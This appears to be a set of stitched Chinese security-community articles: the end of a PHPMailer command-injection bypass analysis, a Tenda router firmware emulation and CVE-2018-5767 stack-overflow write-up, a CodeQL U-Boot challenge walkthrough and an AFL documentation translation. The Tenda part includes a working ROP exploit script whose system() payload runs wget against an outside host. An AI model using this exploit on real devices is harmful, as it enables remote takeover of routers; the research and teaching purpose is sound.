仔细想想其实这可以算是`escapeshellarg`和`escapeshellcmd`的设计问题，因为先转义参数再转义命令是很正常的想法，但是它们在配合时并没有考虑到单引号带来的隐患。
在 PHPMailer 的这次补丁中，作者使用`escapeshellarg`意在防止参数注入，但是却意外的为新漏洞打了助攻，想想也是很有趣的 xD。
**攻击面**
如果应用使用`escapeshellarg ->
escapeshellcmd`这样的流程来处理输入是存在隐患的，`mail`就是个很好的例子，因为它函数内部使用了`escapeshellcmd`，如果开发人员仅用`escapeshellarg`来处理输入再传给`mail`那这层防御几乎是可以忽略的。
如果可以注入参数，那利用就是各种各样的了，例如 PHPMailer 和 RoundCube 中的`mail`和 Naigos Core 中的
`curl`都是很好的参数注入的例子。
有一点需要注意的是，由于注入的命令中会带有中间的`\`和最后的`'`，有可能会影响到命令的执行结果，还要结合具体情况再做分析。
如果上述有哪些地方有问题，欢迎大家指正 :)
## 0x02 时间线
* 2016/12/28 知道创宇404安全实验室发现 Bypass 并整理文档
* 2016/12/28 发现 [Dawid Golunski](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html) 也发现了Bypass 并申请了 CVE，对应编号 CVE-2016-10045
* 2016/12/28 截止目前官方并未发布更新
## 0x03 参考
* <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html>
* <https://www.reddit.com/r/netsec/comments/5kbo5v/rce_via_unescaped_shell_argument_in_phpmailer_5218/>
* <https://github.com/opsxcq/exploit-CVE-2016-10033>
* <https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html>
* <http://php.net/manual/zh/function.escapeshellcmd.php>
* * * | 社区文章 |
# 某路由器固件模拟分析及栈溢出漏洞分析
## 1.概述
分析了一部分tenda的漏洞，发现存在一系列相似的栈溢出的漏洞，如CVE-2018-5767、CVE-2018-18708、CVE-2018-16333以及CVE-2020-13392等。这些漏洞的固件模拟流程是一致的，有很多博客介绍了如何修复固件的网络环境，但并没有分析这样的做的原因，很多复现博客也是知其然而不知所以然，所以本文着重介绍了通过逆向分析修复网络环境的步骤。最后，以其中一个漏洞CVE-2018-5767为例，介绍了漏洞利用的过程。
## 2.固件模拟
固件下载：IOT-vulhub：<https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware>
### 提取固件并运行httpd可执行文件
binwalk -Me 固件
cd squashroot
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd # 运行
卡在启动界面，IDA分析原因，根据字符串”Welcome to ...“来到main函数
发现存在两个检查，第一个检查network，未通过则进入休眠阶段。第二个检查连接情况，未通过则打印连接失败
所以想让服务正常启动，需要对这两处检查进行patch，这里推荐一个IDA插件：keypatch，<https://github.com/keystone-engine/keypatch>
具体patch过程如下：
#### 分析并修复网络环境
patch完继续执行二进制文件，发现ip地址不对
进一步IDA查看ip地址如何得到的，通过字符串“listen ip”定位到sub_1A36C函数
下断点，gdb分析sub_1A36C函数的调用链
#qemu启动httpd程序目，并开启调试端口
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
#另起终端，gdb-mul连接
gdb-multiarch
set architecture arm
b *0x1A36C
target remote :1234
bt（backtrace）查看函数sub_1A36C的调用栈，结合IDA可以确定sub_28338调用了sub_1A36C
继续分析sub_28338的调用关系，分析得知sub_28030调用了sub_28338，gdb命令bt得到的函数调用信息并不完整，需要结合IDA进一步分析
重复上面的步骤，可以得到具体的调用链为：sub_2CEA8（main函数）-> sub_2D3F0(initWebs函数) -> sub_28030 ->
sub_28338 -> sub_1A36C
接下来分析printf的ip参数v8进行跟踪：v8关联到s.sa_data[2]，s.sa_data[2]关联到a1，a2
a1关联到g_lan_ip函数，最终回溯到主函数中
可以看到ip的值与s和v17有关
此处我们进行详细分析，根据函数名猜测getIfIp的作用的是获取ip地址，进入函数查看具体实现。
getIfIp为外部导入函数，对函数名进行搜索，查找存在的动态链接库
#查看可执行程序需要的动态链接库
readelf -d ./bin/httpd | grep NEEDED
#列出所有的函数名，与要寻找的函数对比
nm -D ./lib/libcommon.so
发现getIfIp函数的本体存在于libcommon.so 中
大致分析伪代码，可以看到一个系统调用ioctl(fd, 0x8915u, dest)，查看这个系统调用所实现的功能
一般来讲ioctl在用户程序中的调用是：
ioctl(int fd,int command, (char*)argstruct)
ioctl调用与网络编程有关，文件描述符fd实际上是由socket()系统调用返回的。参数command的取值由/usr/include/linux/sockios.h
所规定。第三个参数是ifreq结构，在/usr/include/linux/if.h中定义。
参考：<https://www.cnblogs.com/zxc2man/p/9511856.html>
到头文件中查看，可以发现，第二个参数实现的功能正是获取IP地址
第三个参数的含义需要进一步分析，先看函数整体的流程，应该就是成功获取ip地址返回v2，v2的值为0的话，在main函数中的判断就不会进入if循环，而ip地址的值则由v17决定。进一步跟进v17，就是在getIfIp函数中的a2，由系统调用获取ip地址后赋给a2即main函数中的v17。那么想让函数按我们分析的执行，还需要分析第三个参数的含义。第三个参数与main函数的v6有关，进一步分析，与getLanIfName函数有关，依照上面的步骤发现getLanIfName函数依然存在于libcommon.so中，查看函数的本体。
getLanIfName函数进一步关联到get_eth_name函数，且参数写死为0。依照上面的步骤发现get_eth_name函数依然存在于libChipApi.so中，查看函数的本体，函数返回v1，即网卡的名称，上述系统调用的第三个参数也就清楚了。
至此，我们可以梳理一下整个流程。在main函数中，首先调用getLanIfName函数进而调用get_eth_name函数获取网卡名称。然后将网卡名称作为参数输入到getIfIp中，函数功能为寻找网卡名称为br0的ip地址并传递给V17。
所以，想让二进制程序监听正确的ip地址需要新建一个名为br0的网卡。
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24
重新启动，找到了名为br0的网卡并获取了ip地址：
尝试访问web页面，还是存在错误：
按照0431师傅的做法：cp -rf ./webroot_ro/* ./webroot/，然后刷新一下就正常了
到这环境就搭建好了，这也是tenda一系列漏洞的环境模拟过程。
## 3.漏洞分析
接下来以CVE-2018-5767为例，介绍这类漏洞的利用过程。根据CVE的描述以及公开POC的信息，得知溢出点在R7WebsSecurityHandler函数中。IDA查看漏洞点的代码。
漏洞成因为：没有限制用户输入的cookie的长度，sscanf在解析参数时没有限制参数的长度，导致栈溢出。
输入的URL要保证if语句不会为false，/goform/xxx就可以。
写一个poc进行测试：
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
qemu-user模拟启动程序进行gdb调试
#qemu-user启动程序
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
#另起终端，gdb远程调试
gdb-multarch ./bin/httpd
target remote :1234
#另起终端，运行poc
python poc.py
可以看出，栈溢出导致寄存器中写入了我们填充的字符串，但是并没有覆盖函数返回地址，是从r3取值，并跳转导致的错误。
gdb查看调用路径，跟踪发现触发错误的地方位于sub_2C568函数中，跳出这个函数才可以实现缓冲区溢出。
查看漏洞点所在的函数，可以发现存在一个绕过这个子函数的地方，只要判断不为真。这段代码寻找“.”号的地址，并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时，memcmp(v44,
"png", 3u)的返回值为0，if语句将失败。
所以新的poc为：
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=url, cookies=cookie)
可以看到覆盖了返回地址
根据cyclic可以确定偏移量为448。
## 4.漏洞利用
通过checksec检查http程序，发现开启了NX保护，所以无法直接在栈上执行shellcode，所以寻找gadgets来构造rop链。
利用思路：需要找到system函数地址，并将system函数地址存入某个寄存器，将system函数参数传入R0寄存器，并跳转到system函数地址所在的寄存器。
首先，确定system函数的地址需要先找到libc的基址，根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息，官方给出了说明：<https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。>
所以我们使用puts函数泄露libc地址，gdb调试下断点到puts函数，可以看到地址为0xff60acd4，在IDA中查看system函数的地址为0x35cd4，得到偏移量为：0xff60acd4
- 0x35cd4 = 0xff5d5000.而且需要说明的一点是，每次调试libc的基地址都是相同的，这是因为gdb调试的默认关闭了ASLR。
其次，需要找到一个可以控制R0的gadget
#gadget2
sudo pip3 install ropgadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
可以看到，在控制R0之后，这条指令跳转到R3，因此，我们可以再找一条控制R3的gadget
#gadget1
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
这样就组成了payload：padding + gadget1 + system_addr + gadget2 + cmd
padding将函数溢出后覆盖返回地址为gadget1，gadget1将system_addr弹出到R3，将gadget2的地址弹出到pc执行gadget2，gadget2将此时栈顶的cmd参数弹出到R0，接着跳转到R3执行system函数。
exp如下：
import requests
from pwn import *
cmd="wget 192.168.174.136"
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+ payload}
requests.get(url=url, cookies=cookie)
可能是qemu-user模拟的原因，直接启动的话无法看到system函数的执行， **需要加上-strace才能看到被执行！**
## 5.总结
本文重点分析了模拟环境时的patch过程，以及如何逆向分析网络问题。针对tenda路由器模拟的一个共性问题：需要新建一个br0网卡，进行了逆向分析找到了原因，对路由器网络服务启动的流程有了一个更清晰的认识。
另外，对qemu-user +
gdb调试的方式有了更深体会。相比于系统模拟，用户模拟启动更快速更方便，不需要配置qemu虚拟机和宿主机的网络连接。但是会存在一些不能查看内存信息，执行命令不能显示等奇奇怪怪的问题。总的来说，两种方式各有优劣，在之后的调试过程中可以按需选择。
如有不足之处，欢迎各位师傅帮忙指正！
## 6.参考链接
<https://www.anquanke.com/post/id/204326#h2-0>
[https://wzt.ac.cn/2019/03/19/CVE-2018-5767/#&gid=1&pid=12](https://wzt.ac.cn/2019/03/19/CVE-2018-5767/#&gid=1&pid=12)
<https://xz.aliyun.com/t/7357#toc-1>
<https://www.freebuf.com/articles/wireless/166869.html>
<https://mp.weixin.qq.com/s/U8l6dOjVcxzRf1CiQFQyQQ> | 社区文章 |
# CodeQL U-Boot Challenge（C/C++）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
需要在U-Boot中寻找一组9个远程代码执行漏洞
漏洞点位于memcpy函数
但并非所有调用memcpy函数的都存在漏洞
所以我们需要减少误报率，找到真正存在漏洞的memcpy调用
[放上题目链接](https://lab.github.com/githubtraining/codeql-u-boot-challenge-\(cc++)
关于环境搭建根据题目提示就可以顺利完成哦
也可以参考我的文章”CodeQL for VSCode搭建流程”
不出意外会放在我的[博客中](https://milkii0.github.io)
## Step 3 – our first query
在项目中寻找所有名为’strlen’的函数
语法类似于sql语句
`import cpp`: 导入c++规则库
`From Function f1`: 声明一个Function类的变量为f1
`where f1.getName() = "strlen"`:
Function.getName()顾名思义用于获取此声明的名称，也就是名称和”strlen”相等的声明会被挑选出来
`select f1,"a function named strlen"`: select后接要在result中展示的项目，用逗号分隔
3_function_definitions.ql
import cpp
from Function f1
where f1.getName() = "strlen"
select f1,"a function named strlen"
直接在main提交
commit中查看结果，通过
## Step 4 – Anatomy of a query
仿照上一步，在项目中寻找所有名为’memcpy’的函数
4_function_definitions.ql
import cpp
from Function f
where f.getName() = "memcpy"
select f,"a function named memcpy"
提交查看结果，通过
## Step 5 – Using different classes and their predicates
自定义规则，查找三个名为`ntohs`, `ntohl` or `ntohll`的宏定义
需要一个紧凑的查询，而不是三个查找案例组合在一起
给出以下两种方法
1. 利用正则表达式
`string`类有一个方法`regexpMatch`，接收器将参数与正则表达式匹配
那我们需要先找到宏定义，再对该字符串进行正则匹配（使用的java的匹配模式）
5_function_definitions.ql
import cpp
from Macro m
where m.getName().regexpMatch("ntoh(s|l|ll)")
select m,"macros named ntohs, ntohl or ntohll"
运行
1. 使用集合表达式
给出的格式：<your_variable_name> in [“bar”, “baz”, “quux”]
import cpp
from Macro m
where m.getName() in ["ntohs","ntohl","ntohll"]
select m,"macros named ntohs, ntohl or ntohll"
运行后和之前的结果相同，提交通过
PS：
上学的时候为了过考试自学的c++，就是一些简单的语法
看题目说明也没看明白ntoh 族函数到底是个啥
后来看见了[swing的文章](https://bestwing.me/codeql.html)
才知道ntoh族函数通常用来进行网络字节序到主机字节序的转换
其实自己看到的时候就应该去查的，但是因为对题目影响不大就犯懒没去:-(
以后不能这样了！看见没见过的看不懂的一定要去弄清楚
## Step 6 – Relating two variables
找到所有对`memcpy`函数的调用
先看看给的例子
`FunctionCall.getTarget()`查询该函数被调用的位置
直接和`Function`类型的`fcn`对比值，说明他返回的值应该就是`Function`类型（这点在下面优化中会用到）
通过`Function.hasName()`获取方法名
import cpp
from FunctionCall call, Function fcn
where
call.getTarget() = fcn and
fcn.getDeclaringType().getSimpleName() = "map" and
fcn.getDeclaringType().getNamespace().getName() = "std" and
fcn.hasName("find")
select call
如果你想要省略中间变量`Function`，使查询的更加紧凑，可以参考以下两个对比
`c1.getClass2()`返回的是Class2类型的值，因此可以直接调用Class2的方法
from Class1 c1, Class2 c2
where
c1.getClass2() = c2 and
c2.getProp() = "something"
select c1
from Class1 c1
where c1.getClass2().getProp() = "something"
select c1
根据以上案例思考
我们需要找到`memcpy`函数被调用的位置，可以使用
`FunctionCall.getTarget()`
并希望查询更加紧凑，可以直接获取找到的函数的名称并进行判断
`FunctionCall.getTarget().getName="memcpy"`
6_memcpy_calls.ql
import cpp
from FunctionCall functioncall
where functioncall.getTarget().hasName("memcpy")
select functioncall
提交通过
## Step 7 – Relating two variables, continued
寻找所有对`ntoh*`宏定义的调用
这里用到的是`MacroInvocation`这个类，顾名思义就是宏定义调用的类
鼠标悬浮看其注释也能看出来
那么我们就可以通过`getMacro()`寻找被调用的宏定义，并得到返回的`Macro`类型值
再获得找到的`Macro`名称进行正则匹配，即可获得我们想要的结果
import cpp
from MacroInvocation macInvo
where macInvo.getMacro().getName().regexpMatch("ntoh.*")
select macInvo
（备注：关于正则表达式，不太会写，找的java正则api看的。
`.`表示匹配除换行符 \n 之外的任何单字符，`*`表示零次或多次，
我这里希望得到的结果是以`ntoh`开头的宏定义都会被选中。
如果有不对的地方，还希望可以被提出指正◔ ‸◔）
提交通过
## Step 8 – Changing the selected output
根据提示，使用`getExpr()`这个predicate
先看看这个`getExpr()`的注释说明
是用来获取宏定义表达式的
如果顶级拓展元素不是表达式，它只是一条语句，将不会被选中列为结果
使用`select macInvo.getExpr()`，就能获得宏定义调用相关的表达式
8_macro_expressions.ql
import cpp
from MacroInvocation macInvo
where macInvo.getMacro().getName().regexpMatch("ntoh.*")
select macInvo.getExpr()
例如点击其中一个结果，就会跳转至下图位置
提交通过
那么查询表达式和查询调用的区别是啥？
看注释说明，
`getExpr()`：
_Gets a top-level expression associated with this macro invocation,if any.
Note that this predicate will fail if the top-level expanded element is not an
expression (for example if it is a statement).
This macro is intended to be used with macros that expand to a complete
expression.
In other cases, it may have multiple results or no results._
获取关于宏调用的顶级表达式
注意，如果顶级扩展元素不是一个表达式的话查询将失败（例如，它是一个语句）
此宏用于扩展为完整表达式的宏，在其他情况下可能会有多个结果或没有结果
`getMacro()`：
_Gets the macro that is being accessed._
获取正在访问的宏
即`getMacro()`会获取所有调用的宏，即使他只是一个语句
而`getExpr()`只会获取宏调用的顶级表达式
所以`getExpr()`得到的结果集应该包含于`getMacro()`的结果集
这里放上[语句和表达式的区别讨论链接](https://www.zhihu.com/question/20750344)
## Step 9 – Write your own class
首先看看学习`exists`关键词给出的例子：
这个规则只是为了获取不秃头的所有人
不秃头的人都会有头发，那么他们的头发都会对应一个或多个颜色
其中`t.getHairColor()`会返回一个`string`类型的值，例如”red”
如果我们需要获得不秃头的人，我们并不需要知道他们头发的具体颜色，只需要知道`t.getHairColor()`会返回`string`类型的值即可，因为秃头`getHairColor()`时，不会返回任何值
所以我们利用`string`类型的变量完成该操作
更好的方式是使用`exists`关键词，因为我们只是在`where`中使用该变量
例如，`exists(string c | t.getHairColor() =
c)`使用了string类型的临时变量，用于获取`t.getHairColor()`返回了`string`值的`t`，也就是查询了所有头发颜色的值为`string`类型的人
from Person t
where exists(string c | t.getHairColor() = c)
select t
/*在CodeQL中，以下代码功能同于以上代码，给出只是为了更好地理解*/
from Person t, string c
where t.getHairColor() = c
select t
再来看看类定义中给出的案例
class OneTwoThree extends int {
OneTwoThree() { // characteristic predicate
this = 1 or this = 2 or this = 3
}
string getAString() { // member predicate
result = "One, two or three: " + this.toString()
}
predicate isEven() { // member predicate
this = 2
}
}
以上代码定义了一个名为`OneTwoThree`的类，继承于int
类似于构造函数的部分是`this = 1 or this = 2 or this = 3`
文档中解释说明这个类中包括了1,2,3这三个值
运行以下规则，可以发现ott中确实有1，2，3这三个值
import cpp
/*from MacroInvocation macInvo
where macInvo.getMacro().getName().regexpMatch("ntoh.*")
select macInvo.getExpr()*/
class OneTwoThree extends int {
OneTwoThree() { // characteristic predicate
this = 1 or this = 2 or 3=this
}
string getAString() { // member predicate
result = "One, two or three: " + this.toString()
}
predicate isEven() { // member predicate
this = 2
}
}
from OneTwoThree ott
select ott
其中还有一个熟悉的单词`predicate`
这个是在类的主体内定义的谓词，是使用变量来限制类中可能的值的逻辑属性
举个例子，运行以下规则，就会得到值2
class OneTwoThree extends int {
OneTwoThree() { // characteristic predicate
this = 1 or this = 2 or 3=this
}
string getAString() { // member predicate
result = "One, two or three: " + this.toString()
}
predicate isEven() { // member predicate
this = 2
}
}
from OneTwoThree ott
where ott.isEven()
select ott
运行截图：
再更改规则如下：
class OneTwoThree extends int {
OneTwoThree() { // characteristic predicate
this = 1 or this = 2 or 3=this
}
string getAString() { // member predicate
result = "One, two or three: " + this.toString()
}
predicate isEven() { // member predicate
this = 2
}
}
from OneTwoThree ott
where ott = 2
select ott
他们会得到相同的结果
也就是说`where ott.isEven()`和`where ott = 2`做出的是相同的限制
那么我们也就能更好地理解，`predicate`特征是用于限制类中可能值的逻辑属性了
其中`string getAString()`就不必多说，返回一个字符串，其中包含对应值
其中我发现一个很神奇事，不知该如何解释
我将代码中`this=1`改成`1=this`也会得到一样的结果，没有任何不同或报错
它和赋值语句不同，但好像又具有相似的功能
在对变量做限制时，例如`where ott = 2`，它就变成了一个符号，用于对两个值进行比较，这里还好理解，因为sql语法类似
但是同样在以下代码中
predicate isEven() { // member predicate
this = 2
}
`this=2`也是用于对两个值进行比较
我认为这是由于`predicate`带来的改变，使得其中的代码和`where`后的代码具有相同得到功能
如果有更好的见解，还不忘赐教
最后来写题
题目给了模板和提示
按照step8中的规则进行编写，`exists`第二个参数放上step8中的where条件
由于select由题目给出并为Expr的子类，所以我们需要增加一个条件获取宏调用相关表达式
根据以上`exists`案例可知，我们需要在`mi.getExpr() =` 后面写出他返回值的类型，这样当`mi`为表达式时，就会被选中
`NetworkByteSwap`是`Expr`的子类，因此
9_class_network_byteswap.ql
import cpp
class NetworkByteSwap extends Expr {
NetworkByteSwap() {
exists(MacroInvocation mi | mi.getMacro().getName().regexpMatch("ntoh.*") | mi.getExpr() = this)
}
}
from NetworkByteSwap n
select n, "Network byte swap"
## Step 10 – Data flow and taint tracking analysis
最后一步，进行数据流分析
先了解以下我们需要查询的函数背景，`ntoh*`函数会返回一个数，并用于`memcpy`的第三个参数`size`，所以我们需要追踪的数据流就是从`ntoh*`到`memcpy`
> 在C/C++写网络程序的时候，往往会遇到字节的网络顺序和主机顺序的问题。 这时就可能用到htons(), ntohl(),
> ntohs()，htons()这4个网络字节顺序与本地字节顺序之间的转换函数
>
>
> memcpy指的是c和c++使用的内存拷贝函数，memcpy函数的功能是从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中
创建`Config`类，查找此类的数据流并进行污染点追踪分析
进行数据流分析，我们需要用到，部分代码已经在给出的模板中
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
我们需要写两个`predicate`，一个是来源`isSource`，一个是接收器`isSink`
`isSource`中我们需要查询`ntoh*`宏定义调用的相关表达式，这一步我们已经在`NetworkByteSwap`中写过了
`isSink`中我们需要查询调用`memcpy`函数时，传入的第三个参数`size`，这一步我们需要新增加的步骤是获取参数
弄清楚这些后，在编写规则时，根据提示完善代码
我们就能获得10_taint_tracking.ql的答案
/**
* @kind path-problem
*/
import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
class NetworkByteSwap extends Expr {
NetworkByteSwap() {
exists(MacroInvocation mi| mi.getMacro().getName().regexpMatch("ntoh(s|l|ll)") | this = mi.getExpr())
}
}
class Config extends TaintTracking::Configuration {
Config() { this = "NetworkToMemFuncLength" }
override predicate isSource(DataFlow::Node source) {
// TODO
/*获取与此节点对应的表达式（如果有）。
此谓词仅在表示表达式求值值的节点上具有结果。
对于从表达式中流出的数据，例如通过引用传递参数时，请使用asDefiningArgument而不是asExpr。*/
source.asExpr() instanceof NetworkByteSwap
}
override predicate isSink(DataFlow::Node sink) {
// TODO
exists(FunctionCall fc | fc.getTarget().hasName("memcpy") | sink.asExpr() = fc.getArgument(2))
}
}
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Network byte swap flows to memcpy"
## 传送门
[cpp规则语法说明](https://lgtm.com/help/lgtm/console/ql-cpp-basic-example)
[Java正则模式](https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html)
[给出的参考案例：CVE-2018-4259: MacOS NFS vulnerabilties lead to kernel
RCE](https://securitylab.github.com/research/cve-2018-4259-macos-nfs-vulnerability/)（知识点挺多的）
[codeql-swing](https://bestwing.me/codeql.html)（swing的语言云淡风轻，条理清晰，如沐春风，我的的语言阿巴阿巴阿巴）
[讨论区](https://github.com/github/securitylab/discussions) | 社区文章 |
# AFL源码分析（Ex.4）——附录（Part 4）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. 写在前面
此文章主要是对`AFL`仓库中`doc`目录下的所有文档进行翻译。
* [x] env_variables.txt(环境变量手册) —— 历史文章(Part 1)
* [x] historical_notes.txt(前世今生)—— 本文
* [x] INSTALL(安装说明)—— 本文
* [x] life_pro_tips.txt(使用技巧) —— 历史文章(Part 1)
* [x] notes_for_asan.txt(`ASAN`模式手册) —— 历史文章(Part 2)
* [x] parallel_fuzzing.txt(同步`fuzz`模式手册) —— 历史文章(Part 2)
* [x] perf_tips.txt(故障排除手册) —— 历史文章(Part 4)
* [x] QuickStartGuide.txt(快速上手) —— 历史文章(Part 4)
* [x] sister_projects.txt(子项目手册)—— 本文
* [x] status_screen.txt(GUI手册) —— 历史文章(Part 4)
* [ ] technical_details.txt(技术白皮书)
* [ ] ../README.md(自述文件)
后续附录将继续翻译以上列表中的文章。
## 1\. sister_projects.txt(子项目手册)
本文档列出了一些受`AFL`启发、衍生自、设计用于或旨在与`AFL`集成的项目。 有关一般说明手册，请参阅自述文件。
### 1.1 多语言/多环境支持的项目
**1.1.1 Python AFL (Jakub Wilk)**
描述：此项目允许您对`Python`程序进行模糊测试。 此项目使用自定义检测和其自身实现的`forkserver`。
项目地址：<http://jwilk.net/software/python-afl>
**1.1.2 Go-fuzz (Dmitry Vyukov)**
描述：受`AFL`启发的针对`Go`语言目标的`fuzzer`：
项目地址：<https://github.com/dvyukov/go-fuzz>
**1.1.3 afl.rs (Keegan McAllister)**
描述：允许使用`AFL`轻松的对`Rust`程序的功能进行`fuzz`测试(使用`LLVM`模式)。
项目地址：<https://github.com/kmcallister/afl.rs>
**1.1.4 OCaml support (KC Sivaramakrishnan)**
描述：添加与`AFL`兼容性的功能，以允许对`OCaml`程序进行`fuzz`测试。
项目地址1：<https://github.com/ocamllabs/opam-repo-dev/pull/23>
项目地址2：<http://canopy.mirage.io/Posts/Fuzzing>
**1.1.5 AFL for GCJ Java and other GCC frontends (-)**
描述：`GCC Java`程序实际上是开箱即用的——只需将`afl-gcc`重命名为`afl-gcj`。不幸的是，默认情况下，`GCJ`中未处理的异常不会导致`abort()`被调用，因此您需要手动添加一个顶级异常处理程序，该处理程序需要以`SIGABRT`或等效的方式退出。
其他`GCC`支持的语言应该很容易上手，但可能会面临类似的问题。有关选项列表，请参阅
[https://gcc.gnu.org/frontends.html。](https://gcc.gnu.org/frontends.html%E3%80%82)
**1.1.6 AFL-style in-process fuzzer for LLVM (Kostya Serebryany)**
描述：提供一个基于进化算法的`fuzz`器，允许在没有`fork/execve`开销的情况下对某些程序进行模糊测试。(类似的功能现在可用作
`../llvm_mode/README.llvm`中描述的“持久”功能)
项目地址：<http://llvm.org/docs/LibFuzzer.html>
**1.1.7 AFL fixup shim (Ben Nagy)**
描述：允许使用没有`C/.so`绑定的任意语言编写`AFL_POST_LIBRARY`下游处理器。包括`Go`中的示例。
项目地址：<https://github.com/bnagy/aflfix>
**1.1.8 TriforceAFL (Tim Newsham and Jesse Hertz)**
描述：允许`AFL`利用`QEMU`全系统仿真模式对操作系统和其他的特殊二进制文件作为目标进行测试。
项目地址：<https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2016/june/project-triforce-run-afl-on-everything/>
**1.1.9 WinAFL (Ivan Fratric)**
描述：顾名思义，允许您对`Windows`二进制文件进行`fuzz`(使用`DynamoRio`)。
项目地址：<https://github.com/ivanfratric/winafl>
项目地址(一种替代方案)：<https://github.com/carlosgprado/BrundleFuzz/>
### 1.2 网络测试项目
**1.2.1 Preeny (Yan Shoshitaishvili)**
描述：此项目提供了一种相当简单的方法来修补动态链接的以网络为中心的程序从文件中读取数据包以及不执行`fork`操作。此项目不是特定于 AFL
开发的，但被许多用户反馈是相当有用的项目。此项目需要一些汇编的知识。
项目地址：<https://github.com/zardus/preeny>
### 1.3 分布式 fuzzer 和相关自动化项目
**1.3.1 roving (Richo Healey)**
描述：此项目用于在一组机器上轻松运行管理`AFL`的客户端-服务器架构(`C-S`架构)。您最好不要在面向`Internet`或搭建在其他不受信任环境中的系统上使用它。
项目地址：<https://github.com/richo/roving>
**1.3.2 Distfuzz-AFL (Martijn Bogaard)**
描述：简化对远程机器上`afl-fuzz`实例的管理。作者指出，当前的实现并不安全，不应在`Internet`上使用。
项目地址：<https://github.com/MartijnB/disfuzz-afl>
**1.3.3 AFLDFF (quantumvm)**
描述：用于管理`AFL`实例的美观的`GUI`。
项目地址：<https://github.com/quantumvm/AFLDFF>
**1.3.4 afl-launch (Ben Nagy)**
描述：带有简单`CLI`的批处理`AFL`启动器实用程序。
项目地址：<https://github.com/bnagy/afl-launch>
**1.3.5 AFL Utils (rc0r)**
描述：此项目用于简化对发现的崩溃进行分类以及启动并行`fuzzer`实例等操作。
项目地址：<https://github.com/rc0r/afl-utils>
项目地址(一种替代方案)：<https://github.com/floyd-fuh/afl-crash-analyzer>
**1.3.6 afl-fuzzing-scripts (Tobias Ospelt)**
描述：简化启动多个并行`AFL`实例的过程。
项目地址：<https://github.com/floyd-fuh/afl-fuzzing-scripts/>
**1.3.7 afl-sid (Jacek Wielemborek)**
描述：允许用户通过`Docker`更方便地构建和部署`AFL`。
项目地址：<https://github.com/d33tah/afl-sid>
项目地址(一种替代方案)：<https://github.com/ozzyjohnson/docker-afl>
**1.3.8 afl-monitor (Paul S. Ziegler)**
描述：提供有关正在运行的`AFL`作业的更详细和通用的统计数据。
项目地址：<https://github.com/reflare/afl-monitor>
### 1.4 崩溃分类、覆盖率分析和其他配套分析工具：
**1.4.1 afl-crash-analyzer (Tobias Ospelt)**
描述：此项目使寻找和注释导致测试目标崩溃的输入用例更容易。
项目地址：<https://github.com/floyd-fuh/afl-crash-analyzer/>
**1.4.2 Crashwalk (Ben Nagy)**
描述：`AFL`感知工具，用于对导致测试目标崩溃的输入用例进行注释和排序。
项目地址：<https://github.com/bnagy/crashwalk>
**1.4.3 afl-cov (Michael Rash)**
描述：根据`afl-fuzz`的输出队列生成可读的覆盖率数据。
项目地址：<https://github.com/mrash/afl-cov>
**1.4.4 afl-sancov (Bhargava Shastry)**
描述：类似于`afl-cov`，但使用`clang sanitizer`检测异常。
项目地址：<https://github.com/bshastry/afl-sancov>
**1.4.5 RecidiVM (Jakub Wilk)**
描述：使用`ASAN`或`MSAN`进行模糊测试时，可以使用此项目轻松估计内存使用限制。
项目地址：<http://jwilk.net/software/recidivm>
**1.4.6 aflize (Jacek Wielemborek)**
描述：自动构建支持`AFL`的`Debian`软件包版本。
项目地址：<https://github.com/d33tah/aflize>
**1.4.7 afl-ddmin-mod (Markus Teufelberger)**
描述：此项目是`afl-tmin`的一种变体，它使用更复杂(但更慢)的最小化算法。
项目地址：<https://github.com/MarkusTeufelberger/afl-ddmin-mod>
**1.4.8 afl-kit (Kuang-che Wu)**
